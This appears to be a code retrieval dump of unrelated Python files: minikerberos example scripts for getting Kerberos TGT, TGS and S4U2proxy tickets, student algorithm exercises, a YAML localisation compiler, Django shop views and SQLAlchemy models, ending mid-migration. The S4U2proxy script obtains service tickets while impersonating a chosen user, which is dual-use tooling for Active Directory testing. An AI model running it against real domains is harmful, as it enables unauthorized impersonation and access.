is not usable it seems Reason: %s' % e)\n\t\t\t\tcontinue\n\t\t\telse:\n\t\t\t\tbreak\n\n\tclient.ccache.to_file(args.ccache)\t\n\tlogger.info('Done!')\n\n\ndef main():\n\timport argparse\n\t\n\tparser = argparse.ArgumentParser(description='Gets an S4U2proxy ticket impersonating given user', formatter_class=argparse.RawDescriptionHelpFormatter, epilog = kerberos_url_help_epilog)\n\tparser.add_argument('kerberos_connection_url', help='the kerberos target string in the following format <domain>/<username>/<secret_type>:<secret>@<domaincontroller-ip>')\n\tparser.add_argument('spn', help='the service principal in format <service>/<server-hostname>@<domain> Example: cifs/fileserver.test.corp@TEST.corp for a TGS ticket to be used for file access on server \"fileserver\". IMPORTANT: SERVER\\'S HOSTNAME MUST BE USED, NOT IP!!!')\n\tparser.add_argument('targetuser', help='')\n\tparser.add_argument('ccache', help='ccache file to store the TGT ticket in')\n\tparser.add_argument('-v', '--verbose', action='count', default=0)\n\t\n\targs = parser.parse_args()\n\tif args.verbose == 0:\n\t\tlogger.setLevel(logging.WARNING)\n\telif args.verbose == 1:\n\t\tlogger.setLevel(logging.INFO)\n\telse:\n\t\tlogger.setLevel(1)\n\n\tasyncio.run(amain(args))\n\t\n\t\nif __name__ == '__main__':\n\tmain()", "id": "12156097", "language": "Python", "matching_score": 6.845547676086426, "max_stars_count": 146, "path": "minikerberos/examples/getS4U2proxy.py" }, { "content": "#!/usr/bin/env python3\n#\n# Author:\n# <NAME> (@skelsec)\n#\nimport os\nimport logging\nimport asyncio\nfrom minikerberos.common.url import KerberosClientURL, kerberos_url_help_epilog\nfrom minikerberos.common.spn import KerberosSPN\nfrom minikerberos.aioclient import AIOKerberosClient\n\nasync def amain(args):\n\n\tif args.spn.find('@') == -1:\n\t\traise Exception('SPN must contain @')\n\tt, domain = args.spn.split('@')\n\tif t.find('/') != -1:\n\t\tservice, hostname = t.split('/')\n\telse:\n\t\thostname = t\n\t\tservice = None\n\n\tspn = KerberosSPN()\n\tspn.username = hostname\n\tspn.service = service\n\tspn.domain = domain\n\n\tcu = KerberosClientURL.from_url(args.kerberos_connection_url)\n\tccred = cu.get_creds()\n\ttarget = cu.get_target()\n\t\n\tlogging.debug('Getting TGT')\n\t\n\tif not ccred.ccache:\n\t\tclient = AIOKerberosClient(ccred, target)\n\t\tlogging.debug('Getting TGT')\n\t\tawait client.get_TGT()\n\t\tlogging.debug('Getting TGS')\n\t\tawait client.get_TGS(spn)\n\telse:\n\t\tlogging.debug('Getting TGS via TGT from CCACHE')\n\t\tfor tgt, key in ccred.ccache.get_all_tgt():\n\t\t\ttry:\n\t\t\t\tlogging.info('Trying to get SPN with %s' % '!'.join(tgt['cname']['name-string']))\n\t\t\t\tclient = AIOKerberosClient.from_tgt(target, tgt, key)\n\t\t\t\tawait client.get_TGS(spn)\n\t\t\t\tlogging.info('Sucsess!')\n\t\t\texcept Exception as e:\n\t\t\t\tlogging.debug('This ticket is not usable it seems Reason: %s' % e)\n\t\t\t\tcontinue\n\t\t\telse:\n\t\t\t\tbreak\n\t\t\t\t\n\tclient.ccache.to_file(args.ccache)\n\tlogging.info('Done!')\n\ndef main():\n\timport argparse\n\t\n\tparser = argparse.ArgumentParser(description='Polls the kerberos service for a TGS for the sepcified user and specified service', formatter_class=argparse.RawDescriptionHelpFormatter, epilog = kerberos_url_help_epilog)\n\tparser.add_argument('kerberos_connection_url', help='the kerberos target string in the following format <domain>/<username>/<secret_type>:<secret>@<domaincontroller-ip>')\n\tparser.add_argument('spn', help='the service principal in format <service>/<server-hostname>@<domain> Example: cifs/fileserver.test.corp@TEST.corp for a TGS ticket to be used for file access on server \"fileserver\". IMPORTANT: SERVER\\'S HOSTNAME MUST BE USED, NOT IP!!!')\n\tparser.add_argument('ccache', help='ccache file to store the TGT ticket in')\n\tparser.add_argument('-u', action='store_true', help='Use UDP instead of TCP (not tested)')\n\tparser.add_argument('-v', '--verbose', action='count', default=0)\n\t\n\targs = parser.parse_args()\n\tif args.verbose == 0:\n\t\tlogging.basicConfig(level=logging.INFO)\n\telif args.verbose == 1:\n\t\tlogging.basicConfig(level=logging.DEBUG)\n\telse:\n\t\tlogging.basicConfig(level=1)\n\t\n\tasyncio.run(amain(args))\n\t\nif __name__ == '__main__':\n\tmain()", "id": "1824414", "language": "Python", "matching_score": 6.11264181137085, "max_stars_count": 0, "path": "minikerberos/examples/getTGS.py" }, { "content": "#!/usr/bin/env python3\n#\n# Author:\n# <NAME> (@skelsec)\n#\nimport os\nimport logging\nimport asyncio\nfrom minikerberos.common.url import KerberosClientURL, kerberos_url_help_epilog\nfrom minikerberos.aioclient import AIOKerberosClient\n\nasync def amain(args):\n\tcu = KerberosClientURL.from_url(args.kerberos_connection_url)\n\tccred = cu.get_creds()\n\ttarget = cu.get_target()\n\n\tlogging.debug('Getting TGT')\n\t\n\tclient = AIOKerberosClient(ccred, target)\n\tawait client.get_TGT()\n\tclient.ccache.to_file(args.ccache)\t\n\tlogging.info('Done!')\n\n\ndef main():\n\timport argparse\n\t\n\tparser = argparse.ArgumentParser(description='Polls the kerberos service for a TGT for the sepcified user', formatter_class=argparse.RawDescriptionHelpFormatter, epilog = kerberos_url_help_epilog)\n\tparser.add_argument('kerberos_connection_url', help='the kerberos target string. ')\n\tparser.add_argument('ccache', help='ccache file to store the TGT ticket in')\n\tparser.add_argument('-v', '--verbose', action='count', default=0)\n\t\n\targs = parser.parse_args()\n\tif args.verbose == 0:\n\t\tlogging.basicConfig(level=logging.INFO)\n\telif args.verbose == 1:\n\t\tlogging.basicConfig(level=logging.DEBUG)\n\telse:\n\t\tlogging.basicConfig(level=1)\n\t\n\tasyncio.run(amain(args))\n\t\n\t\nif __name__ == '__main__':\n\tmain()", "id": "5848606", "language": "Python", "matching_score": 5.399453639984131, "max_stars_count": 146, "path": "minikerberos/examples/getTGT.py" } ]
3.282997
acorovic
[ { "content": "import sys\r\n\r\ndef sumSqr(n):\r\n sum = 0\r\n for i in range(1, n+1):\r\n sum += i*i\r\n return sum\r\nn = int(sys.argv[1], 10)\r\nprint(sumSqr(n))\r\n\r\n", "id": "3053974", "language": "Python", "matching_score": 1, "max_stars_count": 0, "path": "vezba01/v1/v1/v2.py" }, { "content": "def sumN(n):\r\n sum = 0\r\n for i in range(1,n+1):\r\n sum += i\r\n return sum\r\n\r\nprint(sumN(4))", "id": "3613505", "language": "Python", "matching_score": 0, "max_stars_count": 0, "path": "vezba01/v1/v1/v1.py" }, { "content": "import sys\r\n\r\ns1 = sys.argv[1]\r\ns2 = sys.argv[2]\r\n\r\nlenS1 = len(s1)\r\nif lenS1 > 3:\r\n lenS1 = 3\r\nlenS2 = len(s2)\r\nif lenS2 > 3:\r\n lenS2 = 3\r\n\r\ns3 = \"\"\r\n\r\nfor i in range(1,3):\r\n for k in range(0,lenS1):\r\n s3 += s1[k]\r\n\r\nfor i in range(1,3):\r\n for k in range(len(s2) - lenS2, len(s2)):\r\n s3 += s2[k]\r\n\r\nprint(s3)", "id": "502141", "language": "Python", "matching_score": 0, "max_stars_count": 0, "path": "vezba01/v1/v1/v3.py" }, { "content": "l = []\r\n\r\nfor i in range(1,101):\r\n l.append(i)\r\n\r\nfor i in range(len(l)-1, -1, -1):\r\n print(l[i])", "id": "5659394", "language": "Python", "matching_score": 0, "max_stars_count": 0, "path": "vezba01/v1/v1/v4.py" }, { "content": "lInt = [1,2,3,4,5,6,7,8]\r\nlFloat = [1.1, 2.2, 3.4, 5.5, 6.6, 7.7, 8.8]\r\nlString = [\"jedan\", \"dva\", \"tri\", \"cetiri\", \"pet\", \"sest\", \"sedam\", \"osam\"]\r\n\r\nt = ((),)\r\n\r\n", "id": "10334701", "language": "Python", "matching_score": 0, "max_stars_count": 0, "path": "vezba01/v1/v1/v6.py" }, { "content": "import random\r\nimport time\r\ndef random_list (min, max, elements):\r\n list = random.sample(range(min, max), elements)\r\n return list\r\n\r\nlist = random_list(1, 100, 50)\r\nprint (list)\r\n\r\n#TO DO:\r\n#----------------------------------------------------------------\r\nstart_time = time.clock()\r\n\r\ndef foo():\r\n print (\"blah\")\r\n\r\nfoo()\r\n\r\nend_time = time.clock() - start_time\r\nprint (\"Duration: \", end_time)\r\n\r\n#----------------------------------------------------------------\r\n", "id": "10649262", "language": "Python", "matching_score": 0.843248188495636, "max_stars_count": 0, "path": "vezba02/example.py" }, { "content": "import math\r\nimport time\r\n\r\ndef parentH(i):\r\n return math.floor(i/2)\r\n\r\ndef left(i):\r\n return 2*i\r\n\r\ndef right(i):\r\n return 2*i + 1\r\n\r\ndef maxHeapify(A,i):\r\n l = left(i)\r\n r = right(i)\r\n if l <= A.heapsize and A.heap[l] > A.heap[i]:\r\n largest = l\r\n else:\r\n largest = i\r\n if r <= A.heapsize and A.heap[r] > A.heap[largest]:\r\n largest = r\r\n if largest != i:\r\n temp = A.heap[i]\r\n A.heap[i] = A.heap[largest]\r\n A.heap[largest] = temp\r\n maxHeapify(A, largest)\r\n\r\ndef buildMaxHeap(A):\r\n A.heapsize = len(A.heap) -1 \r\n for i in range(math.floor(len(A.heap)/2), 0, -1):\r\n maxHeapify(A, i)\r\n\r\ndef heapSort(A):\r\n buildMaxHeap(A)\r\n for i in range(len(A.heap)-1, 1, -1):\r\n temp = A.heap[1]\r\n A.heap[1] = A.heap[i]\r\n A.heap[i] = temp\r\n A.heapsize -= 1\r\n maxHeapify(A,1)\r\n\r\ndef heapMax(A):\r\n return A[1]\r\n\r\ndef heapExtractMax(A):\r\n if A.heapsize < 1:\r\n print(\"heap underflow\")\r\n return\r\n max = A.heap[1]\r\n A.heap[1] = A.heap[A.heapsize]\r\n A.heapsize -= 1\r\n maxHeapify(A,1)\r\n return max\r\n\r\ndef maxHeapInsert(A, key):\r\n A.heapsize += 1\r\n A.heap.append(-math.inf)\r\n heapIncreaseKey(A, A.heapsize, key)\r\n\r\ndef heapIncreaseKey(A, i, key):\r\n if key < A.heap[i]:\r\n print(\"new key is smaller than current key\")\r\n return\r\n A.heap[i] = key\r\n while i > 1 and A.heap[parentH(i)] < A.heap[i]:\r\n temp = A.heap[parentH(i)]\r\n A.heap[parentH(i)] = A.heap[i]\r\n A.heap[i] = temp\r\n i = parentH(i)\r\n\r\nclass HeapClass:\r\n heapsize = 0\r\n heap = ['x',1,2,8,5,9]\r\n\r\n def __init__(self):\r\n heapsize = 0\r\n\r\nA = HeapClass()\r\nbuildMaxHeap(A)\r\n# A is a max priorityQueue\r\nwhile(A.heapsize >= 1):\r\n sleepTime = heapExtractMax(A)\r\n if(time != None):\r\n print(\"Task with duration: \", sleepTime, \" is in progress\") \r\n time.sleep(sleepTime)\r\n\r\nprint(\"All tasks finished\");\r\n", "id": "1361886", "language": "Python", "matching_score": 1.5391802787780762, "max_stars_count": 0, "path": "vezba03/v3/v3/v3.py" }, { "content": "#insertionSort\r\nimport math\r\n\r\ndef insertionSort(n):\r\n for j in range(1,len(n)):\r\n key = n[j]\r\n i = j - 1\r\n while i >= 0 and n[i] > key:\r\n n[i+1] = n[i]\r\n i -= 1\r\n n[i+1] = key\r\n\r\ndef mergeSort(A, p, r):\r\n if p < r:\r\n q = math.floor((p+r)/2)\r\n \r\n mergeSort(A, p, q)\r\n mergeSort(A, q+1, r)\r\n print(\"merdzuje\")\r\n print(p, q, r)\r\n merge(A, p, q, r)\r\n print(A)\r\n\r\ndef merge(A, p, q, r):\r\n n1 = q - p + 1\r\n n2 = r - q\r\n L = []\r\n R = []\r\n for i in range(1,n1+1):\r\n L.append(A[p + i -1])\r\n for j in range(1, n2+1):\r\n R.append(A[q + j])\r\n L.append(math.inf)\r\n R.append(math.inf)\r\n \r\n i = 0\r\n j = 0\r\n\r\n for k in range(p, r+1):\r\n if L[i] <= R[j]:\r\n A[k] = L[i]\r\n i = i+1\r\n else:\r\n A[k] = R[j]\r\n j = j+1\r\n\r\ndef binarySearch(n, start, end, val):\r\n mid = math.floor((start+end)/2)\r\n if(n[mid] == val):\r\n return True\r\n else:\r\n if(start == end):\r\n return False\r\n if(n[mid] > val):\r\n return binarySearch(n,start,mid,val)\r\n elif (n[mid] < val):\r\n return binarySearch(n,mid+1,end,val)\r\n\r\n\r\n ", "id": "9913420", "language": "Python", "matching_score": 1, "max_stars_count": 0, "path": "vezba02/vezba2/vezba2/vezba2.py" }, { "content": "import sys\r\n\r\nfin = open(\"dict_test.txt\", \"r\")\r\nline = fin.readline()\r\n\r\nword = \"\"\r\ndict = {}\r\n\r\nwhile line:\r\n for i in line:\r\n if ((i == ',') or (i == ' ') or (i == '.')) :\r\n if word == \"\":\r\n continue\r\n if word in dict:\r\n val = dict[word]\r\n val += 1\r\n dict[word] = val\r\n else:\r\n dict[word] = 1\r\n word = \"\"\r\n else:\r\n word += i \r\n line = fin.readline()\r\n\r\nfor k,v in dict.items():\r\n print(k,v)\r\n\r\n\r\n", "id": "6872191", "language": "Python", "matching_score": 0.40276169776916504, "max_stars_count": 0, "path": "vezba01/v1/v1/v5.py" } ]
0.402762
Pritchy96
[ { "content": "import json\nfrom io import TextIOWrapper\nfrom typing import Any, Dict\n\nimport yaml\n\nTAB = 4*' '\n\nYAML_DUMP_ARGS = dict(\n encoding='utf-8',\n allow_unicode=True,\n sort_keys=False,\n)\n\nENUM_START = \"\"\"\n#pragma once\n\n// THIS FILE WAS AUTO-GENERATED.\nenum {enum_name} {{\n\"\"\"\n\nSTRINGS_START = \"\"\"\n#include \"lang_autogen.h\"\n\n// THIS FILE WAS AUTO-GENERATED.\n{string_array_specifiers}char *{string_array_name}[{string_count_label}] = {{\n\"\"\"\n\nCURLY_BRACE_END = \"};\\n\"\n\n\n# By default PyYAML quoting rules put multi-line strings in single quotes which is dumb\n# This function fixes that\ndef represent_str(self, data: str):\n tag = 'tag:yaml.org,2002:str'\n style = None\n if '\\n' in data:\n style = '|'\n else:\n style = ''\n\n return self.represent_scalar(tag, data, style=style)\n\n\nyaml.add_representer(str, represent_str)\n\n\ndef make_header(base_obj: Dict[str, Any], output_file: TextIOWrapper) -> None:\n strings = base_obj['gui_strings']\n prefix = base_obj['enum_label_prefix']\n output_file.write(ENUM_START.format(**base_obj).lstrip())\n for i, string_def in enumerate(strings):\n explicit_val = '' if i != 0 else ' = 0'\n label = string_def['label']\n comment = string_def.get('comment', '')\n if comment:\n comment = f' // {comment}'\n\n output_file.write(f\"{TAB}{prefix}{label}{explicit_val},{comment}\\n\")\n\n count_label = base_obj['string_count_label']\n output_file.write('\\n')\n output_file.write(f\"{TAB}{count_label},\\n\")\n output_file.write(CURLY_BRACE_END)\n\n\ndef make_source(base_obj: Dict[str, Any], output_file: TextIOWrapper) -> None:\n if base_obj['string_array_specifiers']:\n base_obj['string_array_specifiers'] += ' '\n\n output_file.write(STRINGS_START.format(**base_obj).lstrip())\n for string_def in base_obj['gui_strings']:\n string = string_def['string']\n # We use JSON to quote the string because JSON strings are equivalent to C strings\n output_file.write(f'{TAB}{json.dumps(string)},\\n')\n\n output_file.write(CURLY_BRACE_END)\n\n\ndef make_template_yml(base_obj: Dict[str, Any], output_file: TextIOWrapper) -> None:\n output = {\n \"comments\": base_obj['comment_for_template_header'],\n \"translations\": {},\n }\n\n extra_comments = base_obj['comments_for_template_labels']\n for string_def in base_obj['gui_strings']:\n label = string_def['label']\n output[\"translations\"][label] = [\n \"untranslated\",\n {\"original\": string_def['string']},\n ]\n if label in extra_comments:\n output[\"translations\"][label].append({'comment': extra_comments[label]})\n\n yaml.dump(output, output_file, **YAML_DUMP_ARGS)\n\n\ndef update_translation_yml(base_obj: Dict[str, Any], translation_obj: Dict[str, Any], output_file: TextIOWrapper) -> None:\n for string_def in base_obj['gui_strings']:\n label = string_def['label']\n if label not in translation_obj['translations']:\n translation_obj['translations'][label] = [\n \"untranslated\",\n {\"original\": string_def['string']},\n ]\n\n yaml.dump(translation_obj, output_file, **YAML_DUMP_ARGS)\n\n\ndef make_lng(\n base_obj: Dict[str, Any],\n translation_obj: Dict[str, Any],\n output_file: TextIOWrapper,\n translation_filename: str,\n) -> None:\n for comm_line in translation_obj['comments'].splitlines():\n output_file.write(f'# {comm_line}\\n')\n\n for string_def in base_obj['gui_strings']:\n label = string_def['label']\n translation = translation_obj['translations'].get(label)\n if translation is None:\n print(f'WARNING: translation for {label} not found in {translation_filename}', file=sys.stderr)\n translation = string_def['string']\n if not isinstance(translation, str):\n if \"untranslated\" not in translation and \"same\" not in translation:\n print(f'WARNING: status unknown for {label} in {translation_filename}', file=sys.stderr)\n\n translation = string_def['string']\n\n output_file.write(f'{translation}\\n')\n\n\nif __name__ == '__main__':\n import argparse\n import sys\n parser = argparse.ArgumentParser(description='Compile YAML language files into source and .lng files')\n action_group = parser.add_mutually_exclusive_group(required=True)\n action_group.add_argument('--make_header', action='store_true')\n action_group.add_argument('--make_source', action='store_true')\n action_group.add_argument('--make_template_yml', action='store_true')\n action_group.add_argument('--update_translation_yml', action='store_true')\n action_group.add_argument('--make_lng', action='store_true')\n\n parser.add_argument('--base', type=argparse.FileType('r', encoding='utf-8'), required=True, metavar=\"BASE_YML\")\n parser.add_argument('--translation', type=argparse.FileType('r+', encoding='utf-8'), metavar=\"LANG_YML\")\n parser.add_argument('output_file', nargs='?', type=argparse.FileType('w', encoding='utf-8'), default=sys.stdout)\n\n args = parser.parse_args()\n if args.translation is None:\n if args.make_lng or args.update_translation_yml:\n option = ''\n if args.make_lng:\n option = 'make_lng'\n elif args.update_translation_yml:\n option = 'update_translation_yml'\n\n raise KeyError(f\"Translation YML is required when --{option} option is selected\")\n\n base_obj = yaml.safe_load(args.base)\n if args.make_header:\n make_header(base_obj, args.output_file)\n elif args.make_source:\n make_source(base_obj, args.output_file)\n elif args.make_template_yml:\n make_template_yml(base_obj, args.output_file)\n elif args.update_translation_yml:\n translation_obj = yaml.safe_load(args.translation)\n args.translation.seek(0)\n update_translation_yml(base_obj, translation_obj, args.translation)\n args.translation.truncate()\n elif args.make_lng:\n translation_obj = yaml.safe_load(args.translation)\n make_lng(base_obj, translation_obj, args.output_file, args.translation.name)\n", "id": "8751656", "language": "Python", "matching_score": 0, "max_stars_count": 389, "path": "lang_compiler.py" }, { "content": "import os\nimport yaml\n\ndef represent_str(self, data):\n tag = u'tag:yaml.org,2002:str'\n style = None\n if '\\n' in data:\n style = '|'\n else:\n style = ''\n\n return self.represent_scalar(tag, data, style=style)\n\nyaml.add_representer(str, represent_str)\n\nwith open('lng_src/_base.yml', encoding='utf-8') as f:\n base = yaml.safe_load(f)\n\nfor file in os.listdir('lng'):\n assert file.endswith('.lng') and file.startswith(\"lang_\")\n base_name = file[5:-4]\n output = {\n \"comments\": [],\n \"translations\": {},\n }\n n_counter = 0\n with open(f'lng/{file}', encoding='utf-8') as f:\n for line in f.readlines():\n if line.startswith(\"#\"):\n line = line.strip().strip(\"#\").strip()\n print(line)\n output[\"comments\"].append(line)\n else:\n base_string = base['gui_strings'][n_counter]\n line = line.strip()\n label = base_string['label']\n if not line or line == base_string['string']:\n output[\"translations\"][label] = [\n \"untranslated\",\n {\"original\": base_string['string'],},\n ]\n else:\n output[\"translations\"][label] = line\n\n n_counter += 1\n output['comments'] = '\\n'.join(output['comments']).strip()\n with open(f'lng_src/{base_name}.yml', 'w', encoding='utf-8') as f:\n yaml.dump(\n output,\n f,\n encoding='utf-8',\n allow_unicode=True,\n sort_keys=False,\n canonical=False,\n default_flow_style=False,\n default_style=''\n )\n", "id": "1172388", "language": "Python", "matching_score": 0, "max_stars_count": 0, "path": "lang_decompiler.py" } ]
0
tommynsong
[ { "content": "import os\nimport unittest\n\nimport xpack_metricbeat\nimport test_base\nfrom beat import common_tests\n\n\n@unittest.skip(\"https://github.com/elastic/beats/issues/26536\")\nclass Test(xpack_metricbeat.XPackTest, test_base.Test, common_tests.TestExportsMixin):\n pass\n", "id": "5876891", "language": "Python", "matching_score": 0, "max_stars_count": 1, "path": "x-pack/metricbeat/tests/system/test_xpack_base.py" } ]
0
KotschM
[ { "content": "import json\n\nfrom django.http import JsonResponse\nfrom django.shortcuts import render\n\nfrom .models import *\nfrom .mqtt import mqttc, MQTT_Topic_Storage_Web\nfrom .utils import cartData, guestOrder, sendNewOrderToFactory\n\n\ndef store(request):\n data = cartData(request)\n cartItems = data['cartItems']\n\n products = Product.objects.all()\n context = {'products': products, 'cartItems': cartItems}\n return render(request, 'factoryWebsite/store.html', context)\n\n\ndef cart(request):\n data = cartData(request)\n cartItems = data['cartItems']\n order = data['order']\n items = data['items']\n\n context = {'items': items, 'order': order, 'cartItems': cartItems}\n return render(request, 'factoryWebsite/cart.html', context)\n\n\ndef checkout(request):\n data = cartData(request)\n cartItems = data['cartItems']\n order = data['order']\n items = data['items']\n context = {'items': items, 'order': order, 'cartItems': cartItems}\n return render(request, 'factoryWebsite/checkout.html', context)\n\n\ndef monitoring(request):\n return render(request, 'factoryWebsite/monitoring.html')\n\n\ndef storage(request):\n return render(request, 'factoryWebsite/storage.html')\n\n\ndef setting(request):\n return render(request, 'factoryWebsite/setting.html')\n\n\ndef status(request, customer_timestamp):\n context = {'customer_timestamp': customer_timestamp}\n return render(request, 'factoryWebsite/status.html', context)\n\n\ndef sendStorageToFactory(request):\n mqttc.publish(MQTT_Topic_Storage_Web, request.body, 2)\n print(\"Sendet\" + str(request.body))\n return JsonResponse('Storage was updated', safe=False)\n\n\ndef processOrder(request):\n data = json.loads(request.body)\n transaction_id = data['form']['timestamp']\n color = data['form']['color']\n\n customer, order = guestOrder(request, data)\n\n order.transaction_id = transaction_id\n order.color = color\n order.save()\n\n sendNewOrderToFactory(False)\n\n return JsonResponse('Payment complete!', safe=False)\n", "id": "10842016", "language": "Python", "matching_score": 0, "max_stars_count": 1, "path": "dhbwFischertechnik/factoryWebsite/views.py" } ]
0
Sayo-nika
[ { "content": "# Sayonika Internals\nfrom framework.objects import db\n\nfrom .base import Base\nfrom .enums import ReactionType\n\n\nclass Review(db.Model, Base):\n __tablename__ = \"review\"\n\n rating = db.Column(db.Numeric())\n content = db.Column(db.Unicode(2000))\n title = db.Column(db.Unicode(32))\n mod_id = db.Column(None, db.ForeignKey(\"mod.id\", ondelete=\"CASCADE\"))\n author_id = db.Column(None, db.ForeignKey(\"user.id\", ondelete=\"CASCADE\"))\n\n def __init__(self, **kwargs):\n super().__init__(**kwargs)\n\n self._upvotes = []\n self._downvotes = []\n self._funnys = []\n\n @property\n def upvotes(self):\n return self._upvotes\n\n @property\n def downvotes(self):\n return self._downvotes\n\n @property\n def funnys(self):\n return self._funnys\n\n @upvotes.setter\n def upvotes(self, value: \"ReviewReaction\"):\n self._upvotes.append(value)\n\n @downvotes.setter\n def downvotes(self, value: \"ReviewReaction\"):\n self._downvotes.append(value)\n\n @funnys.setter\n def funnys(self, value: \"ReviewReaction\"):\n self._funnys.append(value)\n\n def to_dict(self):\n return {\n **{k: v for k, v in super().to_dict},\n \"upvotes\": self._upvotes,\n \"downvotes\": self._downvotes,\n \"funnys\": self._funnys,\n }\n\n\nclass ReviewReaction(db.Model, Base):\n __tablename__ = \"review_reaction\"\n\n review_id = db.Column(None, db.ForeignKey(\"review.id\", ondelete=\"CASCADE\"))\n user_id = db.Column(None, db.ForeignKey(\"user.id\", ondelete=\"CASCADE\"))\n reaction = db.Column(db.Enum(ReactionType), nullable=False)\n", "id": "6686939", "language": "Python", "matching_score": 2.12185001373291, "max_stars_count": 3, "path": "framework/models/review.py" }, { "content": "# flake8: noqa: E128\n\"\"\"\nFresh migrate\n\nRevision ID: 3007e0d40f26\nRevises:\nCreate Date: 2019-04-25 09:59:15.435631+00:00\n\"\"\"\n# External Libraries\nfrom alembic import op\nimport sqlalchemy as sa\n\n# revision identifiers, used by Alembic.\nrevision = \"3007e0d40f26\"\ndown_revision = None\nbranch_labels = None\ndepends_on = None\n\nenums = {\n \"mod_category\": sa.Enum(\n \"unassigned\",\n \"tools\",\n \"comedy\",\n \"tragic_comedy\",\n \"drama\",\n \"rom_com\",\n \"romance\",\n \"horror\",\n \"mystery\",\n \"satire\",\n \"thriller\",\n \"sci_fi\",\n name=\"modcategory\",\n ),\n \"mod_color\": sa.Enum(\n \"default\",\n \"red\",\n \"pink\",\n \"purple\",\n \"deep_purple\",\n \"indigo\",\n \"blue\",\n \"cyan\",\n \"teal\",\n \"green\",\n \"lime\",\n \"yellow\",\n \"orange\",\n \"deep_orange\",\n name=\"modcolor\",\n ),\n \"mod_status\": sa.Enum(\n \"archived\",\n \"planning\",\n \"in_development\",\n \"playtesting\",\n \"released\",\n name=\"modstatus\",\n ),\n \"connection_type\": sa.Enum(\"github\", \"gitlab\", \"discord\", name=\"connectiontype\"),\n \"media_type\": sa.Enum(\"image\", \"video\", name=\"mediatype\"),\n \"report_type\": sa.Enum(\n \"ipg_violation\", \"conduct_violation\", \"dmca\", name=\"reporttype\"\n ),\n \"author_role\": sa.Enum(\n \"unassigned\",\n \"owner\",\n \"co_owner\",\n \"programmer\",\n \"artist\",\n \"writer\",\n \"musician\",\n \"public_relations\",\n name=\"authorrole\",\n ),\n \"reaction_type\": sa.Enum(\"upvote\", \"downvote\", \"funny\", name=\"reactiontype\"),\n}\n\n\ndef upgrade():\n op.create_table(\n \"mod\",\n sa.Column(\"id\", sa.Unicode(), nullable=False),\n sa.Column(\"created_at\", sa.DateTime(), nullable=True),\n sa.Column(\"title\", sa.Unicode(length=64), nullable=True),\n sa.Column(\"icon\", sa.Unicode(), nullable=True),\n sa.Column(\"banner\", sa.Unicode(), nullable=True),\n sa.Column(\"tagline\", sa.Unicode(length=100), nullable=True),\n sa.Column(\"description\", sa.Unicode(length=10000), nullable=True),\n sa.Column(\"website\", sa.Unicode(), nullable=True),\n sa.Column(\"is_private_beta\", sa.Boolean(), nullable=True),\n sa.Column(\"category\", enums[\"mod_category\"], nullable=True),\n sa.Column(\"nsfw\", sa.Boolean(), nullable=True),\n sa.Column(\"theme_color\", enums[\"mod_color\"], nullable=True),\n sa.Column(\"released_at\", sa.Date(), nullable=True),\n sa.Column(\"last_updated\", sa.DateTime(), nullable=True),\n sa.Column(\"status\", enums[\"mod_status\"], nullable=True),\n sa.Column(\"downloads\", sa.BigInteger(), nullable=True),\n sa.Column(\"download_url\", sa.Unicode(), nullable=True),\n sa.Column(\"verified\", sa.Boolean(), nullable=True),\n sa.PrimaryKeyConstraint(\"id\", name=op.f(\"pk_mod\")),\n sa.UniqueConstraint(\"title\", name=op.f(\"uq_mod_title\")),\n )\n op.create_table(\n \"user\",\n sa.Column(\"id\", sa.Unicode(), nullable=False),\n sa.Column(\"created_at\", sa.DateTime(), nullable=True),\n sa.Column(\"email\", sa.Unicode(), nullable=True),\n sa.Column(\"username\", sa.Unicode(length=25), nullable=True),\n sa.Column(\"avatar\", sa.Unicode(), nullable=True),\n sa.Column(\"bio\", sa.Unicode(length=100), nullable=True),\n sa.Column(\"supporter\", sa.Boolean(), nullable=True),\n sa.Column(\"developer\", sa.Boolean(), nullable=True),\n sa.Column(\"moderator\", sa.Boolean(), nullable=True),\n sa.Column(\"editor\", sa.Boolean(), nullable=True),\n sa.Column(\"email_verified\", sa.Boolean(), nullable=True),\n sa.Column(\"password\", sa.Binary(), nullable=True),\n sa.Column(\"last_pass_reset\", sa.DateTime(), nullable=True),\n sa.PrimaryKeyConstraint(\"id\", name=op.f(\"pk_user\")),\n sa.UniqueConstraint(\"email\", name=op.f(\"uq_user_email\")),\n sa.UniqueConstraint(\"username\", name=op.f(\"uq_user_username\")),\n )\n op.create_table(\n \"connection\",\n sa.Column(\"id\", sa.Unicode(), nullable=False),\n sa.Column(\"created_at\", sa.DateTime(), nullable=True),\n sa.Column(\"name\", sa.Unicode(), nullable=True),\n sa.Column(\"type\", enums[\"connection_type\"], nullable=True),\n sa.Column(\"user\", sa.Unicode(), nullable=True),\n sa.ForeignKeyConstraint(\n [\"user\"], [\"user.id\"], name=op.f(\"fk_connection_user_user\")\n ),\n sa.PrimaryKeyConstraint(\"id\", name=op.f(\"pk_connection\")),\n )\n op.create_table(\n \"editors_choice\",\n sa.Column(\"id\", sa.Unicode(), nullable=False),\n sa.Column(\"created_at\", sa.DateTime(), nullable=True),\n sa.Column(\"mod_id\", sa.Unicode(), nullable=True),\n sa.Column(\"featured\", sa.Boolean(), nullable=True),\n sa.Column(\"editors_notes\", sa.Unicode(length=500), nullable=True),\n sa.Column(\"author_id\", sa.Unicode(), nullable=True),\n sa.Column(\"article_url\", sa.Unicode(), nullable=True),\n sa.ForeignKeyConstraint(\n [\"author_id\"], [\"user.id\"], name=op.f(\"fk_editors_choice_author_id_user\")\n ),\n sa.ForeignKeyConstraint(\n [\"mod_id\"], [\"mod.id\"], name=op.f(\"fk_editors_choice_mod_id_mod\")\n ),\n sa.PrimaryKeyConstraint(\"id\", name=op.f(\"pk_editors_choice\")),\n )\n op.create_table(\n \"media\",\n sa.Column(\"id\", sa.Unicode(), nullable=False),\n sa.Column(\"created_at\", sa.DateTime(), nullable=True),\n sa.Column(\"type\", enums[\"media_type\"], nullable=True),\n sa.Column(\"url\", sa.Unicode(), nullable=True),\n sa.Column(\"mod_id\", sa.Unicode(), nullable=True),\n sa.ForeignKeyConstraint(\n [\"mod_id\"], [\"mod.id\"], name=op.f(\"fk_media_mod_id_mod\")\n ),\n sa.PrimaryKeyConstraint(\"id\", name=op.f(\"pk_media\")),\n )\n op.create_table(\n \"mod_playtester\",\n sa.Column(\"user_id\", sa.Unicode(), nullable=True),\n sa.Column(\"mod_id\", sa.Unicode(), nullable=True),\n sa.ForeignKeyConstraint(\n [\"mod_id\"], [\"mod.id\"], name=op.f(\"fk_mod_playtester_mod_id_mod\")\n ),\n sa.ForeignKeyConstraint(\n [\"user_id\"], [\"user.id\"], name=op.f(\"fk_mod_playtester_user_id_user\")\n ),\n )\n op.create_table(\n 